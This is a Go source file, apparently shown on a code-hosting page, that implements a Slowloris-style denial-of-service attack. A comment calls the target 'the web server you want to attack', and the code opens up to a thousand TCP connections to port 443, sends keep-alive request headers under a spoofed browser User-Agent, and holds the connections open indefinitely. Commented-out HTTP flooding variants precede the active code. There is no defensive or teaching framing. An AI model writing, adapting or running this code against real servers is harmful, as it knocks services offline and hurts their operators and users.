-
Notifications
You must be signed in to change notification settings - Fork 0
/
slow1.go
130 lines (112 loc) · 3.52 KB
/
slow1.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
package main
import (
"fmt"
//"net/http"
"net"
"time"
)
func slow1() {
// req, err := http.NewRequest("GET", _url, nil)
// if err != nil {
// fmt.Printf("Error creating request: %s\n", err)
// }
// req.Header.Add("User-Agent", "My Go Client 1.0")
// response, err := http.DefaultClient.Do(req)
// if err != nil {
// fmt.Printf("The HTTP request failed with error %s\n", err)
// } else {
// data, _ := ioutil.ReadAll(response.Body)
// fmt.Println(string(data))
// }
// req, err := http.NewRequest("GET", _url, nil)
// if err != nil {
// fmt.Printf("Error creating request: %s\n", err)
// }
// req.Header.Add("User-Agent", "My Go Client 1.0")
// response, err := http.DefaultClient.Do(req)
// if err != nil {
// fmt.Printf("The HTTP request failed with error %s\n", err)
// } else {
// data, _ := ioutil.ReadAll(response.Body)
// fmt.Println(string(data))
// }
// client := &http.Client{
// Timeout: 100 * time.Second,
// }
// response, err := client.Get(_url)
// if err != nil {
// fmt.Printf("The HTTP request failed with error %s\n", err)
// } else {
// data, _ := ioutil.ReadAll(response.Body)
// fmt.Println(string(data))
// }
// Set up a client with a long timeout
// client := &http.Client{
// Timeout: time.Hour,
// }
// // Send a partial HTTP request to the server and keep the connection open
// for {
// req, err := http.NewRequest("GET", _url, nil)
// if err != nil {
// fmt.Println(err)
// return
// }
// req.Header.Set("User-Agent", "!")
// // Send the request and ignore the response
// _, err = client.Do(req)
// if err != nil {
// fmt.Println(err)
// return
// } else {
// //data, _ := ioutil.ReadAll(response.Body)
// fmt.Println("result OK")
// }
// // Sleep for a short time before sending the next partial request
// time.Sleep(time.Second)
// }
// targetHost is the hostname or IP address of the web server you want to attack
targetHost := _host
// Number of connections to open to the server
numConnections := 1000
// Interval between sending partial HTTP requests
interval := time.Second
// Set up a connection to the target host
conn, err := net.Dial("tcp", targetHost+":443")
if err != nil {
//fmt.Println(err)
newErr := fmt.Errorf("tcp Error in slow1: %v", err)
fmt.Println(newErr)
return
}
defer conn.Close()
// Send partial HTTP request headers to the server
// Keep-Alive is used to keep the connection open
fmt.Fprintf(conn, "GET / HTTP/1.1\r\nHost: "+targetHost+"\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\nConnection: keep-alive\r\n\r\n")
// Start a goroutine to send partial HTTP requests every interval
go func() {
for {
time.Sleep(interval)
fmt.Fprintf(conn, "\r\n")
}
}()
// Open numConnections number of connections to the server
for i := 0; i < numConnections; i++ {
go func() {
conn, err := net.Dial("tcp", targetHost+":443")
if err != nil {
fmt.Println(err)
newErr := fmt.Errorf("Slow1 inner tcp Error: %v", err)
fmt.Println(newErr)
return
}
defer conn.Close()
// Send partial HTTP request headers to the server
// Keep-Alive is used to keep the connection open
fmt.Fprintf(conn, "GET / HTTP/1.1\r\nHost: "+targetHost+"\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\nConnection: keep-alive\r\n\r\n")
}()
}
// Sleep indefinitely to keep the program running
for {
time.Sleep(time.Hour)
}
}